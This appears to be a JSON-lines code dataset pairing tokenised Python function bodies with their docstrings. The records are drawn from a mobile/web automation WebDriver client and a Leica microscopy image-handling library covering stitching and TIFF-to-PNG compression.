{"signature": "def get_property(self, name):", "body": "return self._execute(Command.GET_ELEMENT_PROPERTY, {'<STR_LIT:name>': name})<EOL>", "docstring": "Return the result of getting a property, Support: Android iOS Web(WebView).\n\n        Support:\n            Support: Android iOS Web(WebView)\n\n        Args:\n            name(str): Name of the property to retrieve, Android iOS can only get `origin` `size`.\n\n        Returns:\n            The property of the element.", "id": "f4435:c0:m17"}
{"signature": "def get_computed_css(self, property_name):", "body": "return self._execute(Command.GET_ELEMENT_VALUE_OF_CSS_PROPERTY, {<EOL>'<STR_LIT>': property_name})<EOL>", "docstring": "The computed value of the given CSS property\n           of the given web element.\n\n        Support:\n            Support: Web(WebView)\n\n        Args:\n            property_name(str): CSS property.\n\n        Returns:\n            The computed value of parameter property name\n            from element's style declarations if the current\n            browsing context's document type is not \"xml\",\n            else let it be \"\"", "id": "f4435:c0:m18"}
{"signature": "@property<EOL><INDENT>def text(self):<DEDENT>", "body": "return self._execute(Command.GET_ELEMENT_TEXT)<EOL>", "docstring": "Return the text of the element.\n           This is equivalent to calling element.innerText.\n\n        Support:\n            Android iOS Web(WebView)", "id": "f4435:c0:m19"}
{"signature": "@property<EOL><INDENT>def tag_name(self):<DEDENT>", "body": "return self._execute(Command.GET_ELEMENT_TAG_NAME)<EOL>", "docstring": "Return the tagName of the element.\n\n        Support:\n            Web(WebView)", "id": "f4435:c0:m20"}
{"signature": "@property<EOL><INDENT>def rect(self):<DEDENT>", "body": "return self._execute(Command.GET_ELEMENT_RECT)<EOL>", "docstring": "The dimensions and coordinates of the given web element in pixels.\n\n        Support:\n            Android iOS Web(WebView)\n\n        Returns:\n            A dict contains:\n            x(float): X axis position of the top-left corner.\n            y(float): Y axis position of the top-left corner.\n            height(float): Height of the web element's bounding rectangle.\n            width(float): Width of the web element's bounding rectangle.", "id": "f4435:c0:m21"}
{"signature": "@property<EOL><INDENT>def size(self):<DEDENT>", "body": "return self._execute(Command.GET_ELEMENT_SIZE)<EOL>", "docstring": "The size of the given web element in pixels.\n\n        Support:\n            Web(WebView)\n\n        Returns:\n            A dict contains:\n            height(float): Height of the web element's bounding rectangle.\n            width(float): Width of the web element's bounding rectangle.", "id": "f4435:c0:m22"}
{"signature": "@fluent<EOL><INDENT>def click(self):<DEDENT>", "body": "self._execute(Command.CLICK_ELEMENT)<EOL>", "docstring": "The Element Click command scrolls into view\n           the element and then attempts to click the\n           centre of the visible area of the first element\n           of the DOMRect sequence. In case the element is\n           not displayed, an element not visible error is returned.\n\n        Support:\n            Android iOS Web(WebView)", "id": "f4435:c0:m23"}
{"signature": "@fluent<EOL><INDENT>def clear(self):<DEDENT>", "body": "self._execute(Command.CLEAR_ELEMENT)<EOL>", "docstring": "The Element Clear command scrolls into view\n           a submittable element excluding buttons or\n           editable element, and then attempts to clear\n           its value, checkedness, or text content.\n\n        Support:\n            Android iOS Web(WebView)", "id": "f4435:c0:m24"}
{"signature": "@fluent<EOL><INDENT>def keys(self, value):<DEDENT>", "body": "self._execute(Command.SEND_KEYS_TO_ELEMENT, {<EOL>'<STR_LIT:value>': value_to_single_key_strokes(value)})<EOL>", "docstring": "Send a sequence of key strokes to an element.\n\n        Support:\n            Android iOS Web(WebView)\n\n        Args:\n            value(str|int|list): value can be a string,\n              int or a list contains defined Keys.", "id": "f4435:c0:m25"}
{"signature": "@fluent<EOL><INDENT>def send_keys(self, value):<DEDENT>", "body": "self._execute(Command.SEND_KEYS_TO_ELEMENT, {<EOL>'<STR_LIT:value>': value_to_key_strokes(value)})<EOL>", "docstring": "Send a sequence of key strokes to an element.\n\n        Support:\n            Android iOS Web(WebView)\n\n        Args:\n            value(str|int|list): value can be a string,\n              int or a list contains defined Keys.", "id": "f4435:c0:m26"}
{"signature": "@fluent<EOL><INDENT>def move_to(self, x=<NUM_LIT:0>, y=<NUM_LIT:0>):<DEDENT>", "body": "self._driver.move_to(self, x, y)<EOL>", "docstring": "Deprecated use element.touch('drag', { toX, toY, duration(s) }) instead.\n            Move the mouse by an offset of the specificed element.\n\n        Support:\n            Android\n\n        Args:\n            x(float): X offset to move to, relative to the\n                      top-left corner of the element.\n            y(float): Y offset to move to, relative to the\n                      top-left corner of the element.\n\n        Returns:\n            WebElement object.", "id": "f4435:c0:m27"}
{"signature": "@fluent<EOL><INDENT>def flick(self, x, y, speed):<DEDENT>", "body": "self._driver.flick(self, x, y, speed)<EOL>", "docstring": "Deprecated use touch('drag', { fromX, fromY, toX, toY, duration(s) }) instead.\n            Flick on the touch screen using finger motion events.\n            This flickcommand starts at a particulat screen location.\n\n        Support:\n            iOS\n\n        Args:\n            x(float}: The x offset in pixels to flick by.\n            y(float): The y offset in pixels to flick by.\n            speed(float) The speed in pixels per seconds.\n\n        Returns:\n            WebElement object.", "id": "f4435:c0:m28"}
{"signature": "@fluent<EOL><INDENT>def tap(self):<DEDENT>", "body": "self._driver.tap(self)<EOL>", "docstring": "Deprecated use touch('tap') instead.\n            Single tap on the touch enabled device.\n\n        Support:\n            Android iOS\n\n        Args:\n            element(WebElement): WebElement Object to single tap on.\n\n        Returns:\n            WebElement object.", "id": "f4435:c0:m29"}
{"signature": "def take_screenshot(self):", "body": "return self._execute(Command.ELEMENT_SCREENSHOT)<EOL>", "docstring": "Gets the screenshot of the current element\n           as a base64 encoded string.\n\n        Support:\n            Android iOS Web(WebView)\n\n        Returns:\n            Base64 encoded string of the screenshot.", "id": "f4435:c0:m30"}
{"signature": "@fluent<EOL><INDENT>def save_screenshot(self, filename, quietly = False):<DEDENT>", "body": "imgData = self.take_screenshot()<EOL>try:<EOL><INDENT>with open(filename, \"<STR_LIT:wb>\") as f:<EOL><INDENT>f.write(b64decode(imgData.encode('<STR_LIT:ascii>')))<EOL><DEDENT><DEDENT>except IOError as err:<EOL><INDENT>if not quietly:<EOL><INDENT>raise err<EOL><DEDENT><DEDENT>", "docstring": "Save the screenshot to local.\n\n        Support:\n            Android iOS Web(WebView)\n\n        Args:\n            filename(str): The path to save the image.\n            quietly(bool): If True, omit the IOError when\n                failed to save the image.\n\n        Returns:\n            WebElement Object.\n\n        Raises:\n            WebDriverException.\n            IOError.", "id": "f4435:c0:m31"}
{"signature": "@fluent<EOL><INDENT>def touch(self, name, args=None):<DEDENT>", "body": "if isinstance(name, list) and not isinstance(name, str):<EOL><INDENT>for obj in name:<EOL><INDENT>obj['<STR_LIT>'] = self.element_id<EOL><DEDENT>actions = name<EOL><DEDENT>elif isinstance(name, str):<EOL><INDENT>if not args:<EOL><INDENT>args = {}<EOL><DEDENT>args['<STR_LIT:type>'] = name<EOL>args['<STR_LIT>'] = self.element_id<EOL>actions = [args]<EOL><DEDENT>else:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>self._driver._execute(Command.PERFORM_ACTIONS, {<EOL>'<STR_LIT>': actions<EOL>})<EOL>", "docstring": "Apply touch actions on devices. Such as, tap/doubleTap/press/pinch/rotate/drag.\n            See more on https://github.com/alibaba/macaca/issues/366.\n\n        Support:\n            Android iOS\n\n        Args:\n            name(str): Name of the action\n            args(dict): Arguments of the action\n\n        Returns:\n            WebDriver Object.\n\n        Raises:\n            WebDriverException.", "id": "f4435:c0:m32"}
{"signature": "def __init__(self, url='<STR_LIT>'):", "body": "self._timeout = None<EOL>if isinstance(url, str):<EOL><INDENT>parsed_url = urlparse(url)<EOL>scheme = parsed_url.scheme<EOL>netloc = parsed_url.netloc<EOL>if not scheme or not netloc:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(url))<EOL><DEDENT>elif scheme not in ('<STR_LIT:http>', '<STR_LIT>'):<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(url, scheme))<EOL><DEDENT>else:<EOL><INDENT>self._url = url<EOL><DEDENT><DEDENT>elif isinstance(url, dict):<EOL><INDENT>scheme = url.get('<STR_LIT>', None)or url.get('<STR_LIT>', None)or '<STR_LIT:http>'<EOL>if scheme not in ('<STR_LIT:http>', '<STR_LIT>'):<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(scheme))<EOL><DEDENT>hostname = url.get('<STR_LIT>', '<STR_LIT:127.0.0.1>')<EOL>port = url.get('<STR_LIT:port>', <NUM_LIT>)<EOL>path = url.get('<STR_LIT:path>', '<STR_LIT>')<EOL>username = url.get('<STR_LIT:username>', None)<EOL>password = url.get('<STR_LIT:password>', None)<EOL>if username and password:<EOL><INDENT>netloc = '<STR_LIT>'.format(<EOL>username, password, hostname, port)<EOL><DEDENT>else:<EOL><INDENT>netloc = '<STR_LIT>'.format(hostname, port)<EOL><DEDENT>self._url = urlunparse((scheme, netloc, path, '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'))<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(<EOL>'<STR_LIT>'.format(url))<EOL><DEDENT>self._formatter = MemorizeFormatter()<EOL>", "docstring": "Init the RemoteInvoker by remote url\n\n        Args:\n            url(str|dict): The url of remote server.\n        Defaults:\n            if url is str:\n                url = http://127.0.0.1:3456/wd/hub\n            if url is dict:\n                url = {\n                    'protocol': 'http',\n                    'hostname': '127.0.0.1',\n                    'port': 3456,\n                    'path': '/wd/hub'\n                }\n        Examples:\n            r = RemoteInvoker('http://127.0.0.1:3456/wd/hub')\n            r = RemoteInvoker({\n                'protocol': 'https',\n                'hostname': '127.0.0.1',\n                'port': 5678,\n                'username': 'macaca',\n                'password': '123456',\n                'path': '/how/r/u'\n            }) => \"https://macaca:123456@127.0.0.1:5678/how/r/u\"", "id": "f4436:c0:m0"}
{"signature": "def execute(self, command, data={}):", "body": "method, uri = command<EOL>try:<EOL><INDENT>path = self._formatter.format_map(uri, data)<EOL>body = self._formatter.get_unused_kwargs()<EOL>url = \"<STR_LIT>\".format(self._url, path)<EOL>return self._request(method, url, body)<EOL><DEDENT>except KeyError as err:<EOL><INDENT>LOGGER.debug(<EOL>'<STR_LIT>'.format(uri, err))<EOL>raise<EOL><DEDENT>", "docstring": "Format the endpoint url by data and then request the remote server.\n\n        Args:\n            command(Command): WebDriver command to be executed.\n            data(dict): Data fulfill the uri template and json body.\n\n        Returns:\n            A dict represent the json body from server response.\n\n        Raises:\n            KeyError: Data cannot fulfill the variable which command needed.\n            ConnectionError: Meet network problem (e.g. DNS failure,\n                refused connection, etc).\n            Timeout: A request times out.\n            HTTPError: HTTP request returned an unsuccessful status code.", "id": "f4436:c0:m1"}
{"signature": "def _request(self, method, url, body):", "body": "if method != '<STR_LIT:POST>' and method != '<STR_LIT>':<EOL><INDENT>body = None<EOL><DEDENT>s = Session()<EOL>LOGGER.debug(<EOL>'<STR_LIT>'.format(method, url, body))<EOL>req = Request(method, url, json=body)<EOL>prepped = s.prepare_request(req)<EOL>res = s.send(prepped, timeout=self._timeout or None)<EOL>res.raise_for_status()<EOL>return res.json()<EOL>", "docstring": "Internal method to send request to the remote server.\n\n        Args:\n            method(str): HTTP Method(GET/POST/PUT/DELET/HEAD).\n            url(str): The request url.\n            body(dict): The JSON object to be sent.\n\n        Returns:\n            A dict represent the json body from server response.\n\n        Raises:\n            ConnectionError: Meet network problem (e.g. DNS failure,\n                refused connection, etc).\n            Timeout: A request times out.\n            HTTPError: HTTP request returned an unsuccessful status code.", "id": "f4436:c0:m2"}
{"signature": "def glob(pattern):", "body": "from glob import glob as sysglob<EOL>return sorted(sysglob(pattern))<EOL>", "docstring": "Sorted glob.", "id": "f4440:m0"}
{"signature": "def stitch_macro(path, output_folder=None):", "body": "output_folder = output_folder or path<EOL>debug('<STR_LIT>' + path + '<STR_LIT>' + output_folder)<EOL>fields = glob(_pattern(path, _field))<EOL>xs = [attribute(field, '<STR_LIT:X>') for field in fields]<EOL>ys = [attribute(field, '<STR_LIT:Y>') for field in fields]<EOL>x_min, x_max = min(xs), max(xs)<EOL>y_min, y_max = min(ys), max(ys)<EOL>fields_column = len(set(xs))<EOL>fields_row = len(set(ys))<EOL>images = glob(_pattern(fields[<NUM_LIT:0>], _image))<EOL>attr = attributes(images[<NUM_LIT:0>])<EOL>channels = []<EOL>z_stacks = []<EOL>for image in images:<EOL><INDENT>channel = attribute_as_str(image, '<STR_LIT:C>')<EOL>if channel not in channels:<EOL><INDENT>channels.append(channel)<EOL><DEDENT>z = attribute_as_str(image, '<STR_LIT>')<EOL>if z not in z_stacks:<EOL><INDENT>z_stacks.append(z)<EOL><DEDENT><DEDENT>debug('<STR_LIT>' + str(channels))<EOL>debug('<STR_LIT>' + str(z_stacks))<EOL>_, extension = os.path.splitext(images[-<NUM_LIT:1>])<EOL>if extension == '<STR_LIT>':<EOL><INDENT>extension = '<STR_LIT>'<EOL><DEDENT>macros = []<EOL>output_files = []<EOL>for Z in z_stacks:<EOL><INDENT>for C in channels:<EOL><INDENT>filenames = os.path.join(<EOL>_field + '<STR_LIT>',<EOL>_image + '<STR_LIT>' + attr.L +<EOL>'<STR_LIT>' + attr.S +<EOL>'<STR_LIT>' + attr.U +<EOL>'<STR_LIT>' + attr.V +<EOL>'<STR_LIT>' + attr.J +<EOL>'<STR_LIT>' + attr.E +<EOL>'<STR_LIT>' + attr.O +<EOL>'<STR_LIT>' +<EOL>'<STR_LIT>' + attr.T +<EOL>'<STR_LIT>' + Z +<EOL>'<STR_LIT>' + C +<EOL>extension)<EOL>debug('<STR_LIT>' + filenames)<EOL>cur_attr = attributes(filenames)._asdict()<EOL>f = '<STR_LIT>'.format(**cur_attr)<EOL>output = os.path.join(output_folder, f)<EOL>debug('<STR_LIT>' + output)<EOL>output_files.append(output)<EOL>if os.path.isfile(output):<EOL><INDENT>print('<STR_LIT>'<EOL>'<STR_LIT>'.format(output))<EOL>continue<EOL><DEDENT>macros.append(fijibin.macro.stitch(path, filenames,<EOL>fields_column, fields_row,<EOL>output_filename=output,<EOL>x_start=x_min, y_start=y_min))<EOL><DEDENT><DEDENT>return (output_files, macros)<EOL>", "docstring": "Create fiji-macros for stitching all channels and z-stacks for a well.\n\n    Parameters\n    ----------\n    path : string\n        Well path.\n    output_folder : string\n        Folder to store images. If not given well path is used.\n\n    Returns\n    -------\n    output_files, macros : tuple\n        Tuple with filenames and macros for stitched well.", "id": "f4440:m1"}
{"signature": "def compress(images, delete_tif=False, folder=None):", "body": "if type(images) == str:<EOL><INDENT>return [compress_blocking(images, delete_tif, folder)]<EOL><DEDENT>filenames = copy(images) <EOL>return Parallel(n_jobs=_pools)(delayed(compress_blocking)<EOL>(image=image, delete_tif=delete_tif, folder=folder)<EOL>for image in filenames)<EOL>", "docstring": "Lossless compression. Save images as PNG and TIFF tags to json. Can be\n    reversed with `decompress`. Will run in multiprocessing, where\n    number of workers is decided by ``leicaexperiment.experiment._pools``.\n\n    Parameters\n    ----------\n    images : list of filenames\n        Images to lossless compress.\n    delete_tif : bool\n        Wheter to delete original images.\n    folder : string\n        Where to store images. Basename will be kept.\n\n    Returns\n    -------\n    list of filenames\n        List of compressed files.", "id": "f4440:m2"}
{"signature": "def compress_blocking(image, delete_tif=False, folder=None, force=False):", "body": "debug('<STR_LIT>'.format(image))<EOL>try:<EOL><INDENT>new_filename, extension = os.path.splitext(image)<EOL>new_filename = new_filename.rsplit('<STR_LIT>', <NUM_LIT:1>)[<NUM_LIT:0>]<EOL>if folder:<EOL><INDENT>basename = os.path.basename(new_filename)<EOL>new_filename = os.path.join(folder, basename + '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>new_filename = new_filename + '<STR_LIT>'<EOL><DEDENT>if os.path.isfile(new_filename) and not force:<EOL><INDENT>compressed_images.append(new_filename)<EOL>msg = \"<STR_LIT>\"\"<STR_LIT>\".format(new_filename)<EOL>raise AssertionError(msg)<EOL><DEDENT>if extension != '<STR_LIT>':<EOL><INDENT>msg = \"<STR_LIT>\".format(image)<EOL>raise AssertionError(msg)<EOL><DEDENT>img = Image.open(image)<EOL>fptr = img.fp <EOL>img.load() <EOL>tags = img.tag.as_dict()<EOL>with open(new_filename[:-<NUM_LIT:4>] + '<STR_LIT>', '<STR_LIT:w>') as f:<EOL><INDENT>if img.mode == '<STR_LIT:P>':<EOL><INDENT>tags['<STR_LIT>'] = img.getpalette()<EOL><DEDENT>json.dump(tags, f)<EOL><DEDENT>if img.mode == '<STR_LIT:P>':<EOL><INDENT>debug('<STR_LIT>')<EOL>img.mode = '<STR_LIT:L>'<EOL><DEDENT>if img.mode == '<STR_LIT>':<EOL><INDENT>img = img.convert(mode='<STR_LIT:I>')<EOL><DEDENT>debug('<STR_LIT>'.format(new_filename))<EOL>img.save(new_filename)<EOL>fptr.close() <EOL>if delete_tif:<EOL><INDENT>os.remove(image)<EOL><DEDENT><DEDENT>except (IOError, AssertionError) as e:<EOL><INDENT>print('<STR_LIT>'.format(e))<EOL>return '<STR_LIT>'<EOL><DEDENT>return new_filename<EOL>", "docstring": "Lossless compression. Save image as PNG and TIFF tags to json. Process\n    can be reversed with `decompress`.\n\n    Parameters\n    ----------\n    image : string\n        TIF-image which should be compressed lossless.\n    delete_tif : bool\n        Wheter to delete original images.\n    force : bool\n        Wheter to compress even if .png already exists.\n\n    Returns\n    -------\n    string\n        Filename of compressed image, or empty string if compress failed.", "id": "f4440:m3"}
{"signature": "def decompress(images, delete_png=False, delete_json=False, folder=None):", "body": "if type(images) == str:<EOL><INDENT>return decompress([images])<EOL><DEDENT>filenames = copy(images) <EOL>decompressed_images = []<EOL>for orig_filename in filenames:<EOL><INDENT>debug('<STR_LIT>'.format(orig_filename))<EOL>try:<EOL><INDENT>filename, extension = os.path.splitext(orig_filename)<EOL>if folder:<EOL><INDENT>basename = os.path.basename(filename)<EOL>new_filename = os.path.join(folder, basename + '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>new_filename = filename + '<STR_LIT>'<EOL><DEDENT>if os.path.isfile(new_filename):<EOL><INDENT>decompressed_images.append(new_filename)<EOL>msg = \"<STR_LIT>\"\"<STR_LIT>\".format(orig_filename)<EOL>raise AssertionError(msg)<EOL><DEDENT>if extension != '<STR_LIT>':<EOL><INDENT>msg = \"<STR_LIT>\"\"<STR_LIT>\".format(orig_filename)<EOL>raise AssertionError(msg)<EOL><DEDENT>img = Image.open(orig_filename)<EOL>img.load() <EOL>info = {}<EOL>with open(filename + '<STR_LIT>', '<STR_LIT:r>') as f:<EOL><INDENT>tags = json.load(f)<EOL>for tag,val in tags.items():<EOL><INDENT>if tag == '<STR_LIT>':<EOL><INDENT>continue<EOL><DEDENT>if type(val) == list:<EOL><INDENT>val = tuple(val)<EOL><DEDENT>if type(val[<NUM_LIT:0>]) == list:<EOL><INDENT>val = tuple(tuple(x) for x in val)<EOL><DEDENT>info[int(tag)] = val<EOL><DEDENT><DEDENT>if '<STR_LIT>' in tags:<EOL><INDENT>img.putpalette(tags['<STR_LIT>'])<EOL><DEDENT>debug('<STR_LIT>'.format(new_filename))<EOL>img.save(new_filename, tiffinfo=info)<EOL>decompressed_images.append(new_filename)<EOL>if delete_png:<EOL><INDENT>os.remove(orig_filename)<EOL><DEDENT>if delete_json:<EOL><INDENT>os.remove(filename + '<STR_LIT>')<EOL><DEDENT><DEDENT>except (IOError, AssertionError) as e:<EOL><INDENT>print('<STR_LIT>'.format(e))<EOL><DEDENT><DEDENT>return decompressed_images<EOL>", "docstring": "Reverse compression from tif to png and save them in original format\n    (ome.tif). TIFF-tags are gotten from json-files named the same as given\n    images.\n\n\n    Parameters\n    ----------\n    images : list of filenames\n        Image to decompress.\n    delete_png : bool\n        Wheter to delete PNG images.\n    delete_json : bool\n        Wheter to delete TIFF-tags stored in json files on compress.\n\n    Returns\n    -------\n    list of filenames\n        List of decompressed files.", "id": "f4440:m4"}
{"signature": "def attribute(path, name):", "body": "matches = re.findall('<STR_LIT>' + name.upper() + '<STR_LIT>', path)<EOL>if matches:<EOL><INDENT>return int(matches[-<NUM_LIT:1>])<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Returns the two numbers found behind --[A-Z] in path. If several matches\n    are found, the last one is returned.\n\n    Parameters\n    ----------\n    path : string\n        String with path of file/folder to get attribute from.\n    name : string\n        Name of attribute to get. Should be A-Z or a-z (implicit converted to\n        uppercase).\n\n    Returns\n    -------\n    integer\n        Returns number found in path behind --name as an integer.", "id": "f4440:m5"}
{"signature": "def attribute_as_str(path, name):", "body": "matches = re.findall('<STR_LIT>' + name.upper() + '<STR_LIT>', path)<EOL>if matches:<EOL><INDENT>return matches[-<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Returns the two numbers found behind --[A-Z] in path. If several matches\n    are found, the last one is returned.\n\n    Parameters\n    ----------\n    path : string\n        String with path of file/folder to get attribute from.\n    name : string\n        Name of attribute to get. Should be A-Z or a-z (implicit converted to\n        uppercase).\n\n    Returns\n    -------\n    string\n        Returns two digit number found in path behind --name.", "id": "f4440:m6"}
{"signature": "def attributes(path):", "body": "<EOL>matches = re.findall('<STR_LIT>', path)<EOL>keys = []<EOL>values = []<EOL>for k,v in matches:<EOL><INDENT>if k in keys:<EOL><INDENT>i = keys.index(k)<EOL>del keys[i]<EOL>del values[i]<EOL><DEDENT>keys.append(k)<EOL>values.append(v)<EOL><DEDENT>lower_keys = [k.lower() for k in keys]<EOL>int_values= [int(v) for v in values]<EOL>attributes = namedtuple('<STR_LIT>', keys + lower_keys)<EOL>return attributes(*values + int_values)<EOL>", "docstring": "Get attributes from path based on format --[A-Z]. Returns namedtuple\n    with upper case attributes equal to what found in path (string) and lower\n    case as int. If path holds several occurrences of same character, only the\n    last one is kept.\n\n        >>> attrs = attributes('/folder/file--X00-X01.tif')\n        >>> print(attrs)\n        namedtuple('attributes', 'X x')('01', 1)\n        >>> print(attrs.x)\n        1\n\n    Parameters\n    ----------\n    path : string\n\n    Returns\n    -------\n    collections.namedtuple", "id": "f4440:m7"}
{"signature": "def _pattern(*names, **kwargs):", "body": "if '<STR_LIT>' not in kwargs:<EOL><INDENT>kwargs['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>return os.path.join(*names) + kwargs['<STR_LIT>']<EOL>", "docstring": "Returns globbing pattern for name1/name2/../lastname + '--*' or\n    name1/name2/../lastname + extension if parameter `extension` it set.\n\n    Parameters\n    ----------\n    names : strings\n        Which path to join. Example: _pattern('path', 'to', 'experiment') will\n        return `path/to/experiment--*`.\n    extension : string\n        If other extension then --* is wanted.\n        Example: _pattern('path', 'to', 'image', extension='*.png') will return\n        `path/to/image*.png`.\n\n    Returns\n    -------\n    string\n        Joined glob pattern string.", "id": "f4440:m8"}
{"signature": "def _set_path(self, path):", "body": "import os.path<EOL>self.path = os.path.abspath(path)<EOL>self.dirname = os.path.dirname(path)<EOL>self.basename = os.path.basename(path)<EOL>", "docstring": "Set self.path, self.dirname and self.basename.", "id": "f4440:m9"}
{"signature": "def __init__(self, path):", "body": "_set_path(self, path)<EOL>self._slide_path = _pattern(self.path, _slide)<EOL>self._well_path = _pattern(self._slide_path, _chamber)<EOL>self._field_path = _pattern(self._well_path, _field)<EOL>self._image_path = _pattern(self._field_path, _image)<EOL>self.chambers = self.wells<EOL>", "docstring": "Leica LAS AF MatrixScreener experiment.\n\n        Parameters\n        ----------\n        path : string\n            Path to matrix scan containing ``slide-SXX`` and ``AdditinalData``.\n\n        Attributes\n        ----------\n        path : string\n            Full path to experiment.\n        dirname : string\n            Path to folder below experiment.\n        basename : string\n            Foldername of experiment.", "id": "f4440:c0:m0"}
{"signature": "@property<EOL><INDENT>def slides(self):<DEDENT>", "body": "return glob(self._slide_path)<EOL>", "docstring": "List of paths to slides.", "id": "f4440:c0:m1"}
{"signature": "@property<EOL><INDENT>def wells(self):<DEDENT>", "body": "return glob(self._well_path)<EOL>", "docstring": "List of paths to wells.", "id": "f4440:c0:m2"}
{"signature": "@property<EOL><INDENT>def fields(self):<DEDENT>", "body": "return glob(self._field_path)<EOL>", "docstring": "List of paths to fields.", "id": "f4440:c0:m3"}
{"signature": "@property<EOL><INDENT>def images(self):<DEDENT>", "body": "tifs = _pattern(self._image_path, extension='<STR_LIT>')<EOL>pngs = _pattern(self._image_path, extension='<STR_LIT>')<EOL>imgs = []<EOL>imgs.extend(glob(tifs))<EOL>imgs.extend(glob(pngs))<EOL>return imgs<EOL>", "docstring": "List of paths to images.", "id": "f4440:c0:m4"}
{"signature": "@property<EOL><INDENT>def stitched(self):<DEDENT>", "body": "return glob(_pattern(self.path, '<STR_LIT>'))<EOL>", "docstring": "List of stitched images if they are in experiment folder.", "id": "f4440:c0:m5"}
{"signature": "@property<EOL><INDENT>def scanning_template(self):<DEDENT>", "body": "tmpl = glob(_pattern(self.path, _additional_data, _scanning_template,<EOL>extension='<STR_LIT>'))<EOL>if tmpl:<EOL><INDENT>return tmpl[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>", "docstring": "Path to {ScanningTemplate}name.xml of experiment.", "id": "f4440:c0:m6"}
{"signature": "@property<EOL><INDENT>def well_columns(self):<DEDENT>", "body": "return list(set([attribute(img, '<STR_LIT:v>') for img in self.images]))<EOL>", "docstring": "All well columns in experiment. Equivalent to --V in files.\n\n        Returns\n        -------\n        list of ints", "id": "f4440:c0:m7"}
{"signature": "@property<EOL><INDENT>def well_rows(self, well_row, well_column):<DEDENT>", "body": "return list(set([attribute(img, '<STR_LIT:u>') for img in self.images]))<EOL>", "docstring": "All well rows in experiment. Equivalent to --U in files.\n\n        Returns\n        -------\n        list of ints", "id": "f4440:c0:m8"}
{"signature": "def image(self, well_row, well_column, field_row, field_column):", "body": "return next((i for i in self.images<EOL>if attribute(i, '<STR_LIT:u>') == well_column and<EOL>attribute(i, '<STR_LIT:v>') == well_row and<EOL>attribute(i, '<STR_LIT:x>') == field_column and<EOL>attribute(i, '<STR_LIT:y>') == field_row), '<STR_LIT>')<EOL>", "docstring": "Get path of specified image.\n\n        Parameters\n        ----------\n        well_row : int\n            Starts at 0. Same as --U in files.\n        well_column : int\n            Starts at 0. Same as --V in files.\n        field_row : int\n            Starts at 0. Same as --Y in files.\n        field_column : int\n            Starts at 0. Same as --X in files.\n\n        Returns\n        -------\n        string\n            Path to image or empty string if image is not found.", "id": "f4440:c0:m11"}
{"signature": "def well_images(self, well_row, well_column):", "body": "return list(i for i in self.images<EOL>if attribute(i, '<STR_LIT:u>') == well_column and<EOL>attribute(i, '<STR_LIT:v>') == well_row)<EOL>", "docstring": "Get list of paths to images in specified well.\n\n\n        Parameters\n        ----------\n        well_row : int\n            Starts at 0. Same as --V in files.\n        well_column : int\n            Starts at 0. Save as --U in files.\n\n        Returns\n        -------\n        list of strings\n            Paths to images or empty list if no images are found.", "id": "f4440:c0:m12"}
{"signature": "def field_columns(self, well_row, well_column):", "body": "imgs = self.well_images(well_row, well_column)<EOL>return list(set([attribute(img, '<STR_LIT:x>') for img in imgs]))<EOL>", "docstring": "Field columns for given well. Equivalent to --X in files.\n\n        Parameters\n        ----------\n        well_row : int\n            Starts at 0. Same as --V in files.\n        well_column : int\n            Starts at 0. Same as --U in files.\n\n        Returns\n        -------\n        list of ints\n            Columns found for specified well.", "id": "f4440:c0:m13"}
{"signature": "def field_rows(self, well_row, well_column):", "body": "imgs = self.well_images(well_row, well_column)<EOL>return list(set([attribute(img, '<STR_LIT:y>') for img in imgs]))<EOL>", "docstring": "Field rows for given well. Equivalent to --Y in files.\n\n        Parameters\n        ----------\n        well_column : int\n            Starts at 0. Same as --U in files.\n        well_row : int\n            Starts at 0. Same as --V in files.\n\n        Returns\n        -------\n        list of ints\n            Rows found for specified well.", "id": "f4440:c0:m14"}
{"signature": "def stitch(self, folder=None):", "body": "debug('<STR_LIT>' + self.__str__())<EOL>if not folder:<EOL><INDENT>folder = self.path<EOL><DEDENT>macros = []<EOL>files = []<EOL>for well in self.wells:<EOL><INDENT>f,m = stitch_macro(well, folder)<EOL>macros.extend(m)<EOL>files.extend(f)<EOL><DEDENT>chopped_arguments = zip(chop(macros, _pools), chop(files, _pools))<EOL>chopped_filenames = Parallel(n_jobs=_pools)(delayed(fijibin.macro.run)<EOL>(macro=arg[<NUM_LIT:0>], output_files=arg[<NUM_LIT:1>])<EOL>for arg in chopped_arguments)<EOL>return [f for list_ in chopped_filenames for f in list_]<EOL>", "docstring": "Stitches all wells in experiment with ImageJ. Stitched images are\n        saved in experiment root.\n\n        Images which already exists are omitted stitching.\n\n        Parameters\n        ----------\n        folder : string\n            Where to store stitched images. Defaults to experiment path.\n\n        Returns\n        -------\n        list\n            Filenames of stitched images. Files which already exists before\n            stitching are also returned.", "id": "f4440:c0:m15"}
{"signature": "def compress(self, delete_tif=False, folder=None):", "body": "return compress(self.images, delete_tif, folder)<EOL>", "docstring": "Lossless compress all images in experiment to PNG. If folder is\n        omitted, images will not be moved.\n\n        Images which already exists in PNG are omitted.\n\n        Parameters\n        ----------\n        folder : string\n            Where to store PNGs. Defaults to the folder they are in.\n        delete_tif : bool\n            If set to truthy value, ome.tifs will be deleted after compression.\n\n        Returns\n        -------\n        list\n            Filenames of PNG images. Files which already exists before\n            compression are also returned.", "id": "f4440:c0:m16"}
